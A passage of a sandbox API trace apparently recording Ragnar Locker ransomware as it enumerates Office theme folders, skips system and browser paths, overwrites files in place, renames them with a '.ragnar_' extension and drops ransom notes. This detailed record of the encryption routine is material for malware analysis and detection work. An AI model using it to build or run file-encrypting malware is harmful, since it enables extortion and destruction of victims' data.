Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 0x20 [0073.594] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0073.594] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=60724) returned 1 [0073.594] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xed2b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.594] GetProcessHeap () returned 0x580000 [0073.594] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0073.595] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0073.596] VirtualAlloc (lpAddress=0x0, dwSize=0xed34, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0073.596] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.596] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0073.596] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xed34, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xed34, lpOverlapped=0x0) returned 1 [0073.598] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0073.598] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xed34, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.598] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xed34, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xed34, lpOverlapped=0x0) returned 1 [0073.598] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xed34, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.598] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0073.599] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xed34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.599] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.599] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.599] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.599] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0073.599] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.599] GetProcessHeap () returned 0x580000 [0073.599] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0073.599] CloseHandle (hObject=0x100) returned 1 [0073.600] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" [0073.600] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0073.601] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0073.601] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0073.601] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0073.601] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE", cAlternateFileName="")) returned 1 [0073.601] lstrcmpiW (lpString1="ICE", lpString2=".") returned 1 [0073.601] lstrcmpiW (lpString1="ICE", lpString2="..") returned 1 [0073.601] lstrcmpiW (lpString1="ICE", lpString2="Windows") returned -1 [0073.601] lstrcmpiW (lpString1="ICE", lpString2="Windows.old") returned -1 [0073.601] lstrcmpiW (lpString1="ICE", lpString2="Tor browser") returned -1 [0073.601] lstrcmpiW (lpString1="ICE", lpString2="Internet Explorer") returned -1 [0073.601] lstrcmpiW (lpString1="ICE", lpString2="Google") returned 1 [0073.601] lstrcmpiW (lpString1="ICE", lpString2="Opera") returned -1 [0073.601] lstrcmpiW (lpString1="ICE", lpString2="Opera Software") returned -1 [0073.601] lstrcmpiW (lpString1="ICE", lpString2="Mozilla") returned -1 [0073.602] lstrcmpiW (lpString1="ICE", lpString2="Mozilla Firefox") returned -1 [0073.602] lstrcmpiW (lpString1="ICE", lpString2="$Recycle.Bin") returned 1 [0073.602] lstrcmpiW (lpString1="ICE", lpString2="ProgramData") returned -1 [0073.602] lstrcmpiW (lpString1="ICE", lpString2="All Users") returned 1 [0073.602] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0073.602] lstrcpyW (in: lpString1=0x1eb638, lpString2="ICE" | out: lpString1="ICE") returned="ICE" [0073.602] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\" [0073.602] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\" [0073.602] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\RGNR_FD7BD9FC.txt" [0073.602] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0073.604] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*.*" [0073.604] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0073.604] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0073.604] lstrcpyW (in: lpString1=0x1ea754, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0073.605] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7e1cb580, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7e1cb580, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0073.605] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0073.605] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7e1cb580, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7e1cb580, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.605] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0073.605] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0073.605] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ee600, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35ee600, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x109d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.ELM", cAlternateFileName="")) returned 1 [0073.605] lstrcmpiW (lpString1="ICE.ELM", lpString2=".") returned 1 [0073.605] lstrcmpiW (lpString1="ICE.ELM", lpString2="..") returned 1 [0073.605] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.INF", cAlternateFileName="")) returned 1 [0073.605] lstrcmpiW (lpString1="ICE.INF", lpString2=".") returned 1 [0073.605] lstrcmpiW (lpString1="ICE.INF", lpString2="..") returned 1 [0073.605] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0073.605] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0073.605] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0073.605] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e1cb580, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7e1cb580, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0073.605] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0073.605] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0073.605] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0073.605] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0073.605] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0073.605] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0073.605] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0073.605] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7e1cb580, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7e1cb580, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0073.606] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7e1cb580, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7e1cb580, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.606] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ee600, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35ee600, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x109d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.ELM", cAlternateFileName="")) returned 1 [0073.606] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0073.606] lstrcpyW (in: lpString1=0x1eab68, lpString2="ICE.ELM" | out: lpString1="ICE.ELM") returned="ICE.ELM" [0073.606] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM") returned=".ELM" [0073.606] lstrcmpiW (lpString1="ICE.ELM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0073.606] lstrcmpiW (lpString1="ICE.ELM", lpString2="autorun.inf") returned 1 [0073.606] lstrcmpiW (lpString1="ICE.ELM", lpString2="boot.ini") returned 1 [0073.606] lstrcmpiW (lpString1="ICE.ELM", lpString2="bootfont.bin") returned 1 [0073.606] lstrcmpiW (lpString1="ICE.ELM", lpString2="bootsect.bak") returned 1 [0073.606] lstrcmpiW (lpString1="ICE.ELM", lpString2="bootmgr") returned 1 [0073.606] lstrcmpiW (lpString1="ICE.ELM", lpString2="bootmgr.efi") returned 1 [0073.606] lstrcmpiW (lpString1="ICE.ELM", lpString2="bootmgfw.efi") returned 1 [0073.606] lstrcmpiW (lpString1="ICE.ELM", lpString2="desktop.ini") returned 1 [0073.606] lstrcmpiW (lpString1="ICE.ELM", lpString2="iconcache.db") returned -1 [0073.606] lstrcmpiW (lpString1="ICE.ELM", lpString2="ntldr") returned -1 [0073.606] lstrcmpiW (lpString1="ICE.ELM", lpString2="ntuser.dat") returned -1 [0073.606] lstrcmpiW (lpString1="ICE.ELM", lpString2="ntuser.dat.log") returned -1 [0073.606] lstrcmpiW (lpString1="ICE.ELM", lpString2="ntuser.ini") returned -1 [0073.606] lstrcmpiW (lpString1="ICE.ELM", lpString2="thumbs.db") returned -1 [0073.606] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0073.606] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0073.606] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0073.606] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0073.606] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0073.606] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0073.606] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0073.606] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm")) returned 0x20 [0073.611] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0073.611] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=68048) returned 1 [0073.611] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x109c7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.611] GetProcessHeap () returned 0x580000 [0073.611] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0073.611] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0073.613] VirtualAlloc (lpAddress=0x0, dwSize=0x109d0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0073.613] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.613] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0073.613] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x109d0, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x109d0, lpOverlapped=0x0) returned 1 [0073.617] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0073.617] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109d0, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.617] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x109d0, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x109d0, lpOverlapped=0x0) returned 1 [0073.618] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109d0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.618] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0073.618] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x109d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.618] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.618] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.619] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.619] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0073.619] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.619] GetProcessHeap () returned 0x580000 [0073.619] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0073.619] CloseHandle (hObject=0x10c) returned 1 [0073.622] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" [0073.622] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM.ragnar_FD7BD9FC" [0073.622] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0073.637] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.INF", cAlternateFileName="")) returned 1 